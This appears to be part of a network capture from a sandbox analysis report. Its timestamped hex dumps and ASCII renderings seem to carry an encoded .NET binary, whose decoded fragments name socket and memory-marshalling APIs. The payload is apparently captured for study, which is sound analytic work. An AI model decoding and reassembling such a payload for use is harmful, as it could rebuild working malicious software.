                          2021-09-14 19:25:31 UTC170INData Raw: 37 34 44 33 33 36 44 34 46 37 36 36 36 37 34 37 32 37 37 33 44 2d 2d 32 33 33 44 37 31 36 42 36 33 35 36 36 42 34 41 37 33 36 42 37 35 34 37 34 31 33 34 36 46 33 37 36 42 34 37 37 35 34 45 33 37 33 39 36 39 33 31 37 37 33 44 33 44 2d 2d 32 33 33 44 37 31 36 34 33 33 34 39 37 34 36 34 33 31 34 35 34 43 34 34 35 2d 34 38 34 41 37 38 36 38 34 43 37 36 37 34 33 2d 37 39 33 31 34 45 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 35 38 36 42 36 37 37 2d 36 36 36 37 36 38 37 36 35 34 34 42 34 34 35 41 34 37 36 43 35 38 34 32 34 37 34 39 33 34 37 38 33 39 37 36 36 35 35 31 34 46 33 34 34 41 36 36 36 41 34 36 33 37 34 37 35 37 33 32 34 35 34 33 37 37 33 39 32 34 34 43 33 33 34 35 37 36 37 39 34 42 35 41 34 37 34 46 36 45 37 41 36 39 37 37 35 38 34 35 33 32 35 38 37 32
                          Data Ascii: 74D336D4F76667472773D--233D716B63566B4A736B754741346F376B47754E37396931773D3D--233D71643349746431454C445-484A78684C76743-79314E513D3D--233D71586B677-66676876544B445A476C584247493478397665514F344A666A463747573245437739244C334576794B5A474F6E7A69775845325872
                          2021-09-14 19:25:31 UTC178INData Raw: 2d 34 32 35 32 34 41 36 34 34 31 37 33 35 39 36 43 35 38 35 33 35 32 35 35 36 33 37 37 36 39 37 41 37 37 33 44 2d 2d 32 33 33 44 37 31 36 46 37 36 36 33 33 2d 34 41 33 37 34 42 33 36 36 32 33 39 34 35 37 31 35 46 34 33 33 2d 34 42 33 34 33 36 37 32 36 32 36 44 36 37 33 44 33 44 2d 2d 32 33 33 44 37 31 37 36 36 32 35 34 34 45 34 32 36 39 36 38 34 37 33 32 37 41 34 31 35 32 37 33 36 35 37 37 36 42 35 32 34 39 34 36 35 34 35 33 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 33 35 36 41 33 33 37 37 37 36 34 41 35 38 36 43 36 45 37 32 34 37 36 44 35 32 36 45 34 42 35 35 34 38 37 32 35 46 33 31 35 33 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 34 35 34 39 35 2d 36 33 36 45 36 34 34 46 34 43 37 32 35 36 33 32 34 37 34 41 36 44 36 45 36 46 33 37 37 41 34 42 37 34 34 32
                          Data Ascii: -42524A644173596C585352556377697A773D--233D716F76633-4A374B36623945715F433-4B343672626D673D3D--233D717662544E42696847327A41527365776B5249465453513D3D--233D71356A3377764A586C6E72476D526E4B5548725F3153513D3D--233D7145495-636E644F4C725632474A6D6E6F377A4B7442
                          2021-09-14 19:25:31 UTC185INData Raw: 37 36 41 35 46 36 37 37 34 33 31 33 32 34 35 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 36 34 34 39 36 44 35 2d 34 31 35 39 33 31 36 46 33 33 35 39 36 38 36 32 34 43 37 34 37 35 36 42 37 37 34 33 35 31 33 39 33 31 36 33 34 39 35 33 36 31 36 35 34 39 34 35 35 37 35 32 34 42 35 33 35 39 37 32 34 37 35 41 33 33 36 34 35 34 35 36 36 45 36 42 35 39 33 44 2d 2d 32 33 33 44 37 31 35 46 36 42 34 37 37 39 34 35 36 45 33 38 34 42 37 32 36 44 34 32 36 44 37 34 33 35 34 44 33 31 34 45 33 39 36 33 35 35 35 33 36 37 33 44 33 44 2d 2d 32 33 33 44 37 31 32 34 36 45 36 41 36 46 37 2d 35 32 37 32 35 2d 36 32 36 43 37 31 36 35 32 34 37 39 37 32 37 33 32 34 37 32 37 33 37 35 33 35 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 37 41 36 31 33 37 34 46 33 31 34 31 34 38 37 32 37 32
                          Data Ascii: 76A5F6774313245513D3D--233D7164496D5-4159316F335968624C74756B77435139316349536165494557524B535972475A336454566E6B593D--233D715F6B4779456E384B726D426D74354D314E39635553673D3D--233D71246E6A6F7-52725-626C7165247972732472737535513D3D--233D717A61374F3141487272
                          2021-09-14 19:25:31 UTC192INData Raw: 34 35 37 37 34 33 36 36 36 35 32 36 32 36 35 35 37 36 46 37 38 33 31 37 35 34 45 33 33 37 36 36 36 35 33 35 2d 33 35 37 36 35 46 35 37 35 46 37 37 36 33 33 44 2d 2d 32 33 33 44 37 31 33 2d 35 2d 34 44 36 33 35 38 35 31 34 41 37 38 36 33 34 43 34 43 37 32 33 31 37 33 35 39 34 46 33 2d 36 36 37 2d 37 39 36 38 35 2d 36 41 35 35 37 37 36 41 35 31 37 34 34 39 36 45 34 43 35 46 37 36 34 41 35 2d 35 31 35 33 36 37 34 33 37 33 36 36 36 39 36 46 33 44 2d 2d 32 33 33 44 37 31 34 38 36 31 37 35 36 39 36 41 36 44 36 38 33 32 36 45 34 41 33 35 36 42 34 38 34 46 33 36 36 36 35 34 35 39 34 32 36 45 34 41 34 36 35 41 34 42 36 42 36 36 37 41 36 42 35 37 37 34 33 35 36 37 34 32 33 34 36 44 35 39 35 33 33 35 34 46 34 43 34 46 35 36 36 33 33 44 2d 2d 32 33 33 44 37 31 37 2d
                          Data Ascii: 457743666526265576F7831754E337666535-35765F575F77633D--233D713-5-4D6358514A78634C4C723173594F3-667-79685-6A55776A5174496E4C5F764A5-515367437366696F3D--233D71486175696A6D68326E4A356B484F36665459426E4A465A4B6B667A6B5774356742346D5953354F4C4F56633D--233D717-
                          2021-09-14 19:25:31 UTC199INData Raw: 38 36 31 34 35 35 37 36 45 33 39 37 39 35 41 36 39 34 39 37 39 36 34 34 35 34 33 36 36 33 36 33 39 32 34 36 42 37 34 36 41 33 2d 34 39 35 2d 34 34 33 35 37 37 34 31 37 37 34 33 33 32 34 38 33 35 34 33 36 33 33 38 34 33 32 34 34 43 2d 2d 32 33 33 44 37 31 37 31 37 33 33 31 36 44 36 46 34 46 32 34 36 44 35 39 36 31 35 33 33 37 33 32 34 46 35 38 34 46 35 37 36 35 33 2d 35 41 33 36 34 37 37 39 36 33 37 33 36 43 34 35 36 32 33 36 36 35 33 39 34 39 37 2d 36 46 37 39 33 37 37 2d 37 2d 35 37 33 2d 34 46 33 35 36 31 36 32 34 39 37 2d 33 2d 33 35 36 31 36 41 37 36 33 38 36 34 36 46 37 31 36 34 34 41 35 41 34 38 36 43 34 45 33 33 36 33 34 42 2d 2d 32 33 33 44 37 31 37 39 34 35 34 38 33 35 33 34 34 39 35 37 32 34 36 36 33 39 36 36 35 35 34 41 36 32 33 37 34 36 34 46
                          Data Ascii: 86145576E39795A694979644543663639246B746A3-495-44357741774332483543633843244C--233D717173316D6F4F246D59615337324F584F57653-5A36477963736C4562366539497-6F79377-7-573-4F356162497-3-35616A7638646F71644A5A486C4E33634B--233D717945483534495724663966554A6237464F
                          2021-09-14 19:25:31 UTC207INData Raw: 35 36 34 36 44 34 37 34 31 33 44 2d 2d 32 33 33 44 37 31 34 36 36 43 37 41 32 34 32 34 37 36 36 38 36 43 37 32 36 45 35 41 36 32 33 37 35 39 34 46 36 41 36 39 33 2d 36 35 34 36 35 46 35 31 35 41 34 32 37 41 36 42 34 46 36 31 36 41 35 34 33 2d 37 37 33 33 35 35 36 46 35 31 36 32 36 37 36 45 35 38 35 36 34 39 34 31 33 44 2d 2d 32 33 33 44 37 31 36 39 36 42 34 32 35 38 35 46 34 33 36 44 35 33 32 34 35 41 37 41 35 36 34 31 37 35 37 31 32 34 36 45 35 31 34 41 34 32 34 34 37 37 36 44 34 43 36 44 33 35 34 37 36 35 36 35 33 31 36 39 35 2d 36 43 35 2d 37 35 37 36 34 39 33 31 33 38 33 38 34 35 36 41 36 46 33 44 2d 2d 32 33 33 44 37 31 34 39 34 46 35 38 35 46 37 32 37 37 34 38 37 32 35 33 35 46 35 32 34 43 34 36 34 43 33 32 36 39 36 37 37 41 35 32 37 33 35 35 35 31
                          Data Ascii: 5646D47413D--233D71466C7A242476686C726E5A6237594F6A693-65465F515A427A6B4F616A543-7733556F5162676E585649413D--233D71696B42585F436D53245A7A56417571246E514A4244776D4C6D3547656531695-6C5-757649313838456A6F3D--233D71494F585F72774872535F524C464C3269677A52735551
                          2021-09-14 19:25:31 UTC214INData Raw: 44 37 31 36 34 33 38 35 37 34 39 35 41 34 46 33 38 36 36 33 36 34 39 35 32 37 31 36 34 35 35 36 44 37 36 37 38 36 31 37 37 36 41 33 31 37 37 33 44 33 44 2d 2d 32 33 33 44 37 31 34 39 35 41 35 2d 33 38 34 39 35 38 33 36 33 2d 36 37 35 33 35 39 34 36 33 38 33 32 36 42 37 35 35 41 36 35 36 41 36 44 36 37 33 38 37 2d 34 46 36 46 35 38 36 36 34 35 34 32 36 33 37 41 36 31 37 2d 35 34 35 34 37 37 36 37 37 32 35 37 34 44 32 34 36 36 34 44 33 44 2d 2d 32 33 33 44 37 31 35 35 35 32 34 39 37 38 34 44 34 46 34 37 33 2d 34 38 34 39 36 44 37 37 34 35 35 2d 33 34 34 31 33 36 37 41 34 35 36 39 35 2d 36 37 33 44 33 44 2d 2d 32 33 33 44 37 31 35 35 33 31 36 37 33 36 36 44 33 31 34 33 36 39 34 41 33 35 37 39 37 41 34 43 34 35 34 33 36 46 37 38 33 31 36 38 34 32 37 32 37 37
                          Data Ascii: D71643857495A4F38663649527164556D767861776A31773D3D--233D71495A5-384958363-6753594638326B755A656A6D67387-4F6F58664542637A617-5454776772574D24664D3D--233D71555249784D4F473-48496D77455-3441367A45695-673D3D--233D71553167366D3143694A35797A4C45436F783168427277
                          2021-09-14 19:25:31 UTC221INData Raw: 45 33 39 36 45 33 34 36 36 34 42 34 31 37 33 37 36 35 37 35 34 33 39 36 33 36 39 37 33 36 31 34 38 35 34 35 46 35 2d 36 37 37 36 36 33 34 37 34 31 34 45 36 45 36 34 33 36 36 46 33 44 2d 2d 32 33 33 44 37 31 34 42 33 35 34 44 36 36 33 39 37 35 37 38 34 34 34 33 36 41 37 37 34 34 35 32 36 36 37 39 34 41 35 31 33 36 36 42 37 2d 33 38 34 31 33 44 33 44 2d 2d 32 33 33 44 37 31 34 36 35 41 33 38 37 38 36 44 33 36 33 39 34 33 36 34 33 2d 34 33 33 35 33 35 34 39 37 2d 33 32 34 46 35 32 36 36 33 37 34 45 36 37 33 44 33 44 2d 2d 32 33 33 44 37 31 35 36 35 38 34 32 35 46 37 39 33 33 36 35 34 45 35 46 37 33 37 2d 33 31 32 34 34 44 36 34 33 39 35 35 36 46 34 41 36 35 35 39 35 31 33 44 33 44 2d 2d 32 33 33 44 37 31 33 33 33 37 36 41 36 36 36 33 36 35 34 34 37 2d 37 36
                          Data Ascii: E396E34664B4173765754396369736148545F5-67766347414E6E64366F3D--233D714B354D6639757844436A77445266794A51366B7-38413D3D--233D71465A38786D363943643-433535497-324F5266374E673D3D--233D715658425F7933654E5F737-31244D6439556F4A6559513D3D--233D7133376A666365447-76
                          2021-09-14 19:25:31 UTC228INData Raw: 33 36 35 36 39 37 36 36 35 34 31 37 33 37 39 36 45 36 33 2d 2d 36 37 36 35 37 34 35 46 35 33 36 46 36 33 36 42 36 35 37 34 34 35 37 32 37 32 36 46 37 32 2d 2d 36 37 36 35 37 34 35 46 34 43 36 31 37 33 37 34 34 46 37 2d 36 35 37 32 36 31 37 34 36 39 36 46 36 45 2d 2d 36 37 36 35 37 34 35 46 34 32 37 39 37 34 36 35 37 33 35 34 37 32 36 31 36 45 37 33 36 36 36 35 37 32 37 32 36 35 36 34 2d 2d 36 37 36 35 37 34 35 46 34 32 37 35 36 36 36 36 36 35 37 32 2d 2d 35 32 36 35 37 33 36 39 37 41 36 35 2d 2d 34 33 36 46 36 43 36 43 36 35 36 33 37 34 2d 2d 36 37 36 35 37 34 35 46 34 46 36 36 36 36 37 33 36 35 37 34 2d 2d 35 33 36 35 36 45 36 34 34 31 37 33 37 39 36 45 36 33 2d 2d 35 2d 37 34 37 32 35 34 36 46 35 33 37 34 37 32 37 35 36 33 37 34 37 35 37 32 36 35 2d 2d
                          Data Ascii: 3656976654173796E63--6765745F536F636B65744572726F72--6765745F4C6173744F7-65726174696F6E--6765745F42797465735472616E73666572726564--6765745F427566666572--526573697A65--436F6C6C656374--6765745F4F6666736574--53656E644173796E63--5-7472546F537472756374757265--
                          2021-09-14 19:25:31 UTC236INData Raw: 2d 31 32 38 32 37 44 2d 38 32 2d 2d 33 31 44 2d 35 31 44 2d 35 2d 38 2d 38 2d 35 2d 37 2d 31 31 32 38 31 31 39 2d 35 32 2d 2d 32 2d 31 2d 45 2d 32 2d 35 2d 37 2d 33 2d 32 2d 38 2d 38 2d 37 32 2d 2d 33 2d 31 2d 32 2d 45 31 2d 2d 32 2d 34 2d 2d 2d 31 2d 31 2d 38 2d 38 2d 37 2d 32 31 32 38 2d 45 35 31 32 38 31 31 39 2d 38 2d 2d 2d 31 31 32 38 2d 45 31 31 32 38 2d 45 35 2d 37 2d 37 2d 35 2d 45 2d 45 2d 45 2d 45 2d 45 2d 35 2d 2d 2d 2d 31 32 38 32 42 35 2d 35 32 2d 2d 31 2d 45 31 44 2d 35 2d 38 2d 2d 2d 33 2d 32 2d 45 2d 45 31 31 38 32 42 31 2d 35 32 2d 2d 32 2d 45 2d 45 2d 45 2d 36 2d 2d 2d 31 2d 32 31 32 38 32 45 31 2d 35 2d 37 2d 32 2d 32 31 32 33 35 2d 33 2d 36 31 32 33 35 2d 36 32 2d 2d 32 31 32 33 35 2d 45 2d 32 2d 34 2d 2d 2d 31 2d 38 31 43 2d 36 2d 37
                          Data Ascii: -12827D-82--31D-51D-5-8-8-5-7-1128119-52--2-1-E-2-5-7-3-2-8-8-72--3-1-2-E1--2-4---1-1-8-8-7-2128-E5128119-8---1128-E1128-E5-7-7-5-E-E-E-E-E-5----1282B5-52--1-E1D-5-8---3-2-E-E1182B1-52--2-E-E-E-6---1-21282E1-5-7-2-21235-3-61235-62--21235-E-2-4---1-81C-6-7
                          2021-09-14 19:25:31 UTC243INData Raw: 44 42 35 32 38 35 39 41 45 33 45 43 36 41 41 34 41 37 36 41 34 42 46 43 38 34 35 34 32 41 45 33 34 33 43 2d 32 44 31 44 36 42 36 43 37 35 42 38 39 42 38 33 32 46 44 38 35 35 34 41 36 31 42 37 37 41 43 33 37 34 43 32 46 35 2d 2d 41 35 41 35 33 34 33 45 37 37 35 31 32 41 42 35 32 33 32 44 38 39 39 36 41 36 43 44 39 39 37 46 44 42 36 2d 35 45 36 37 41 39 2d 36 39 33 34 41 45 32 31 41 42 44 36 37 37 35 2d 31 43 36 45 44 32 42 41 38 36 35 32 46 41 2d 46 31 35 42 36 2d 46 2d 32 37 31 46 35 45 41 41 32 2d 35 44 43 31 45 35 2d 32 45 37 34 44 31 39 44 38 38 39 36 46 2d 44 42 38 41 38 2d 34 37 36 32 36 2d 34 35 41 36 31 37 34 41 32 33 37 44 37 35 46 39 31 41 39 41 36 45 45 42 43 35 38 2d 45 35 31 42 43 2d 32 37 36 2d 41 32 44 35 2d 2d 42 38 31 43 37 33 43 35 31 43
                          Data Ascii: DB52859AE3EC6AA4A76A4BFC84542AE343C-2D1D6B6C75B89B832FD8554A61B77AC374C2F5--A5A5343E77512AB5232D8996A6CD997FDB6-5E67A9-6934AE21ABD6775-1C6ED2BA8652FA-F15B6-F-271F5EAA2-5DC1E5-2E74D19D8896F-DB8A8-47626-45A6174A237D75F91A9A6EEBC58-E51BC-276-A2D5--B81C73C51C
                          2021-09-14 19:25:31 UTC250INData Raw: 32 38 35 33 33 35 43 44 2d 33 43 45 37 33 35 37 37 36 37 35 46 37 34 32 2d 42 2d 32 45 37 34 42 33 43 45 38 42 32 36 37 37 45 37 34 36 36 2d 31 43 31 37 34 37 37 34 38 42 45 43 36 37 35 31 42 42 2d 41 32 43 42 42 43 44 38 33 42 38 35 31 34 32 37 37 41 37 37 44 41 33 2d 43 32 45 32 37 33 36 38 38 44 41 37 37 44 45 44 32 33 45 37 36 45 34 44 44 43 43 32 31 43 42 2d 33 31 39 33 39 45 39 34 42 41 42 33 39 46 44 2d 39 33 42 43 32 39 35 44 42 45 45 37 39 41 46 34 34 37 41 37 37 35 38 43 37 32 45 35 41 32 44 42 41 2d 37 42 45 38 46 41 32 31 36 41 43 32 33 38 46 33 41 44 36 32 46 32 46 45 42 32 46 42 33 2d 2d 35 45 42 46 39 44 43 42 42 34 37 32 46 43 38 2d 31 41 44 43 35 2d 34 45 41 33 45 31 32 39 43 46 2d 32 36 43 2d 36 39 31 43 38 39 42 42 2d 37 37 34 34 34 46
                          Data Ascii: 285335CD-3CE73577675F742-B-2E74B3CE8B2677E7466-1C1747748BEC6751BB-A2CBBCD83B8514277A77DA3-C2E273688DA77DED23E76E4DDCC21CB-31939E94BAB39FD-93BC295DBEE79AF447A7758C72E5A2DBA-7BE8FA216AC238F3AD62F2FEB2FB3--5EBF9DCBB472FC8-1ADC5-4EA3E129CF-26C-691C89BB-77444F
                          2021-09-14 19:25:31 UTC257INData Raw: 34 37 42 45 34 2d 38 46 33 43 45 42 44 46 32 38 45 41 39 45 36 39 32 36 38 34 37 35 46 45 45 39 43 46 44 33 34 46 37 44 2d 44 31 46 34 2d 38 33 2d 31 46 37 35 32 31 46 36 37 32 39 42 37 36 41 46 2d 32 46 42 46 36 39 35 31 43 31 34 36 44 2d 45 37 33 32 33 31 45 38 44 2d 35 39 37 32 43 43 38 33 2d 41 31 33 33 33 43 37 2d 45 44 32 43 35 32 32 38 37 2d 46 46 2d 31 36 38 41 34 32 38 34 44 2d 34 44 41 39 38 41 39 43 45 38 31 33 34 36 39 32 33 43 43 39 34 35 32 38 45 33 32 39 38 36 32 35 33 39 34 37 35 41 33 43 34 45 41 36 41 33 45 2d 33 34 46 33 2d 34 33 31 39 32 31 36 33 35 32 2d 44 38 2d 39 39 33 37 31 36 39 33 46 36 43 43 43 38 46 33 45 39 33 32 35 44 35 39 32 32 42 35 37 44 33 36 2d 39 43 41 36 36 35 37 44 2d 43 46 34 42 31 36 46 43 34 39 2d 33 38 44 37 38
                          Data Ascii: 47BE4-8F3CEBDF28EA9E69268475FEE9CFD34F7D-D1F4-83-1F7521F6729B76AF-2FBF6951C146D-E73231E8D-5972CC83-A1333C7-ED2C52287-FF-168A4284D-4DA98A9CE81346923CC94528E329862539475A3C4EA6A3E-34F3-4319216352-D8-99371693F6CCC8F3E9325D5922B57D36-9CA6657D-CF4B16FC49-38D78
                          2021-09-14 19:25:31 UTC264INData Raw: 37 46 36 2d 33 35 36 38 2d 31 35 39 38 37 35 34 37 31 46 43 35 2d 41 46 37 2d 42 2d 32 46 43 38 44 45 39 35 34 2d 42 35 45 41 34 43 44 45 35 41 36 34 37 39 35 32 31 34 2d 33 45 2d 46 37 34 42 41 31 41 45 34 45 46 39 37 34 44 46 39 36 32 46 32 31 33 45 42 33 43 2d 41 42 32 46 46 39 37 36 32 39 37 34 35 33 36 45 42 39 35 43 43 45 44 31 31 45 45 39 41 31 35 41 31 38 43 45 43 33 2d 38 44 41 38 43 34 46 2d 44 42 45 42 39 44 37 44 34 41 45 36 36 46 37 31 33 34 43 44 41 33 43 46 31 42 43 38 33 2d 2d 32 36 43 39 34 34 2d 35 43 31 43 42 43 32 46 32 33 43 42 43 37 42 41 33 32 39 43 45 46 39 38 37 33 45 2d 32 45 42 38 36 45 34 39 45 44 41 33 32 37 36 34 36 46 34 44 39 43 42 45 35 31 45 46 36 35 45 38 31 31 38 41 42 46 41 32 42 43 41 32 44 38 38 31 42 44 42 42 42 38
                          Data Ascii: 7F6-3568-159875471FC5-AF7-B-2FC8DE954-B5EA4CDE5A64795214-3E-F74BA1AE4EF974DF962F213EB3C-AB2FF9762974536EB95CCED11EE9A15A18CEC3-8DA8C4F-DBEB9D7D4AE66F7134CDA3CF1BC83--26C944-5C1CBC2F23CBC7BA329CEF9873E-2EB86E49EDA327646F4D9CBE51EF65E8118ABFA2BCA2D881BDBBB8
                          2021-09-14 19:25:31 UTC272INData Raw: 42 33 37 36 46 35 41 36 2d 41 42 46 32 46 43 35 33 45 31 32 33 39 44 37 36 43 45 34 45 33 42 33 35 31 43 42 32 39 41 32 2d 41 36 31 35 37 38 44 38 2d 41 43 46 33 2d 37 42 32 41 2d 46 45 41 2d 2d 31 34 35 46 38 41 37 44 42 36 35 38 41 36 42 43 39 39 43 35 37 35 41 31 2d 37 37 33 46 46 36 2d 45 32 39 37 32 31 41 2d 45 45 41 42 34 44 32 41 33 33 35 41 2d 34 32 41 37 41 42 43 41 39 44 33 39 41 36 34 32 35 33 32 34 42 35 35 38 36 46 39 45 42 32 43 33 42 31 34 42 38 2d 31 2d 39 34 37 43 34 38 35 35 43 45 36 32 39 31 35 46 42 37 41 43 2d 44 31 31 33 36 35 38 36 41 45 31 31 44 34 43 36 41 39 32 31 2d 31 45 42 31 33 43 45 45 45 43 43 33 32 2d 38 33 2d 36 33 31 45 33 38 45 31 37 41 38 41 32 43 36 2d 39 34 35 44 36 36 36 41 39 32 39 44 36 31 2d 45 32 36 34 38 31 45
                          Data Ascii: B376F5A6-ABF2FC53E1239D76CE4E3B351CB29A2-A61578D8-ACF3-7B2A-FEA--145F8A7DB658A6BC99C575A1-773FF6-E29721A-EEAB4D2A335A-42A7ABCA9D39A6425324B5586F9EB2C3B14B8-1-947C4855CE62915FB7AC-D1136586AE11D4C6A921-1EB13CEEECC32-83-631E38E17A8A2C6-945D666A929D61-E26481E
                          2021-09-14 19:25:31 UTC279INData Raw: 39 35 2d 36 31 34 44 41 44 41 37 33 35 31 35 31 45 39 32 32 44 42 46 46 31 36 2d 2d 34 35 36 42 41 44 43 44 46 35 45 39 41 2d 42 43 38 33 37 38 43 32 45 38 41 39 34 46 31 38 32 44 43 31 45 33 36 37 31 37 44 34 37 33 37 34 39 36 34 31 38 35 46 38 41 41 2d 33 45 35 46 31 31 44 34 44 41 37 31 38 33 34 2d 44 2d 46 37 32 44 39 37 34 45 33 37 44 35 37 39 33 36 34 41 35 32 42 35 35 39 44 32 42 32 37 43 31 46 37 43 46 38 42 2d 33 42 38 44 32 31 32 39 38 37 41 41 34 39 33 43 34 38 36 41 2d 41 37 44 32 2d 37 38 44 36 35 38 31 41 39 46 36 38 39 31 33 35 32 2d 36 44 42 37 46 42 35 33 31 38 35 34 39 32 32 44 45 41 45 33 43 39 41 2d 39 36 35 41 31 2d 32 35 41 34 34 39 32 41 43 42 44 34 41 37 43 33 2d 31 41 45 35 33 37 43 42 41 31 35 39 2d 44 2d 2d 38 44 46 44 46 37 31
                          Data Ascii: 95-614DADA735151E922DBFF16--456BADCDF5E9A-BC8378C2E8A94F182DC1E36717D47374964185F8AA-3E5F11D4DA71834-D-F72D974E37D579364A52B559D2B27C1F7CF8B-3B8D212987AA493C486A-A7D2-78D6581A9F6891352-6DB7FB531854922DEAE3C9A-965A1-25A4492ACBD4A7C3-1AE537CBA159-D--8DFDF71
                          2021-09-14 19:25:31 UTC286INData Raw: 31 41 36 35 45 31 32 45 39 36 35 37 38 43 41 45 46 37 44 39 46 41 36 35 34 32 38 35 32 35 44 2d 43 39 34 46 35 46 38 39 38 41 35 39 41 39 38 36 37 46 35 36 36 46 45 33 41 37 42 35 39 43 33 42 39 44 34 32 38 38 2d 41 44 36 34 37 44 44 41 45 42 45 33 41 37 43 35 38 35 31 2d 44 44 44 33 34 39 39 33 42 38 44 2d 39 39 31 34 31 35 35 42 37 32 41 44 46 33 33 32 39 43 44 38 2d 34 34 32 31 45 31 36 39 45 41 36 38 35 34 42 31 42 41 41 43 35 41 45 46 2d 42 44 34 39 2d 34 45 37 41 38 37 36 44 35 34 34 35 44 42 45 34 39 42 34 33 46 33 39 33 41 37 36 33 44 41 38 33 33 41 43 38 33 41 38 35 43 39 39 31 45 45 45 36 2d 46 36 33 34 34 2d 41 33 42 41 37 39 39 31 46 35 41 34 34 39 37 46 37 43 32 31 41 35 38 45 42 44 43 39 38 46 34 44 34 42 35 46 34 38 33 35 41 41 35 43 45 31
                          Data Ascii: 1A65E12E96578CAEF7D9FA65428525D-C94F5F898A59A9867F566FE3A7B59C3B9D4288-AD647DDAEBE3A7C5851-DDD34993B8D-9914155B72ADF3329CD8-4421E169EA6854B1BAAC5AEF-BD49-4E7A876D5445DBE49B43F393A763DA833AC83A85C991EEE6-F6344-A3BA7991F5A4497F7C21A58EBDC98F4D4B5F4835AA5CE1
                          2021-09-14 19:25:31 UTC293INData Raw: 34 32 41 38 43 2d 32 33 44 2d 36 45 31 38 37 46 35 42 39 43 36 38 37 42 31 31 35 42 38 36 2d 42 39 33 46 41 44 42 41 38 43 45 37 35 2d 41 32 33 36 2d 35 46 35 43 36 2d 2d 41 46 38 35 42 31 45 42 33 2d 41 38 42 44 46 2d 37 39 35 36 36 43 31 34 2d 38 41 34 33 42 43 2d 32 36 34 44 38 42 33 46 36 39 36 38 31 34 34 33 33 32 32 31 46 42 37 35 45 39 39 31 46 2d 44 45 33 2d 35 35 38 2d 32 37 2d 34 38 44 41 41 43 39 39 46 46 46 34 31 35 46 34 36 41 45 38 39 43 34 2d 44 31 35 44 43 36 2d 2d 33 37 42 44 43 42 43 45 33 38 43 43 43 43 31 35 38 43 2d 44 34 34 32 34 31 32 34 41 39 35 2d 34 39 45 32 44 37 45 44 46 41 37 45 38 41 43 31 45 37 44 31 35 42 41 38 2d 45 35 45 46 43 32 38 33 36 45 33 46 43 39 44 31 41 45 44 43 43 43 31 43 37 44 46 2d 2d 45 45 34 44 37 44 42 36
                          Data Ascii: 42A8C-23D-6E187F5B9C687B115B86-B93FADBA8CE75-A236-5F5C6--AF85B1EB3-A8BDF-79566C14-8A43BC-264D8B3F696814433221FB75E991F-DE3-558-27-48DAAC99FFF415F46AE89C4-D15DC6--37BDCBCE38CCCC158C-D4424124A95-49E2D7EDFA7E8AC1E7D15BA8-E5EFC2836E3FC9D1AEDCCC1C7DF--EE4D7DB6
                          2021-09-14 19:25:31 UTC301INData Raw: 42 35 38 37 2d 42 36 46 34 46 41 33 41 44 31 38 32 37 2d 38 34 2d 42 33 45 38 37 32 42 43 34 32 38 42 39 33 37 42 34 34 31 36 46 44 2d 31 34 44 38 45 36 39 2d 2d 42 36 32 35 43 31 46 33 32 42 31 45 39 43 44 31 33 32 36 35 33 35 45 36 43 32 46 36 39 32 36 2d 44 35 35 37 33 34 39 43 46 2d 2d 32 36 2d 46 38 45 38 46 2d 41 39 41 41 41 38 43 42 31 2d 42 35 41 37 34 43 33 39 35 38 45 2d 37 36 41 38 2d 39 33 45 31 33 32 31 35 38 41 38 2d 32 42 34 37 39 37 43 2d 2d 44 41 37 33 46 34 33 36 34 39 46 32 42 39 33 42 44 43 36 38 37 35 32 35 31 2d 32 39 39 37 32 39 43 34 46 41 31 42 44 33 43 44 34 31 31 34 39 38 34 32 33 32 38 32 42 37 34 2d 42 39 45 45 33 41 45 2d 37 46 33 35 32 32 33 35 31 39 35 31 31 46 41 33 33 36 46 31 31 34 31 39 34 36 43 35 41 44 33 46 36 34 39
                          Data Ascii: B587-B6F4FA3AD1827-84-B3E872BC428B937B4416FD-14D8E69--B625C1F32B1E9CD1326535E6C2F6926-D557349CF--26-F8E8F-A9AAA8CB1-B5A74C3958E-76A8-93E132158A8-2B4797C--DA73F43649F2B93BDC6875251-299729C4FA1BD3CD411498423282B74-B9EE3AE-7F35223519511FA336F1141946C5AD3F649
                          2021-09-14 19:25:31 UTC308INData Raw: 39 41 38 32 46 35 2d 45 34 34 46 34 31 42 39 2d 2d 36 45 41 38 41 36 34 39 37 37 45 41 37 44 44 34 45 33 45 37 32 37 35 33 37 35 31 46 2d 41 35 39 45 46 37 43 43 46 39 42 46 36 39 31 45 44 2d 42 45 46 46 36 41 43 39 2d 35 2d 33 35 32 35 45 44 38 45 46 35 46 33 33 46 33 43 44 31 37 41 46 33 43 42 41 37 45 39 35 38 34 36 32 41 33 46 32 2d 44 36 43 39 43 46 31 43 42 42 2d 35 41 41 36 35 35 2d 32 42 46 35 37 2d 42 43 36 45 36 34 35 32 38 44 34 41 45 38 39 33 36 2d 44 38 2d 46 42 33 41 46 32 37 42 42 43 31 32 43 43 36 39 37 41 45 38 36 39 44 34 33 2d 34 32 45 31 2d 41 44 46 36 33 37 33 31 2d 34 46 34 36 38 43 44 44 33 35 2d 39 46 36 39 32 33 45 32 38 46 35 43 42 38 36 39 39 35 36 35 45 37 39 45 33 36 2d 36 43 32 44 42 31 38 34 41 38 32 42 41 32 33 31 32 34 46
                          Data Ascii: 9A82F5-E44F41B9--6EA8A64977EA7DD4E3E72753751F-A59EF7CCF9BF691ED-BEFF6AC9-5-3525ED8EF5F33F3CD17AF3CBA7E958462A3F2-D6C9CF1CBB-5AA655-2BF57-BC6E64528D4AE8936-D8-FB3AF27BBC12CC697AE869D43-42E1-ADF63731-4F468CDD35-9F6923E28F5CB8699565E79E36-6C2DB184A82BA23124F
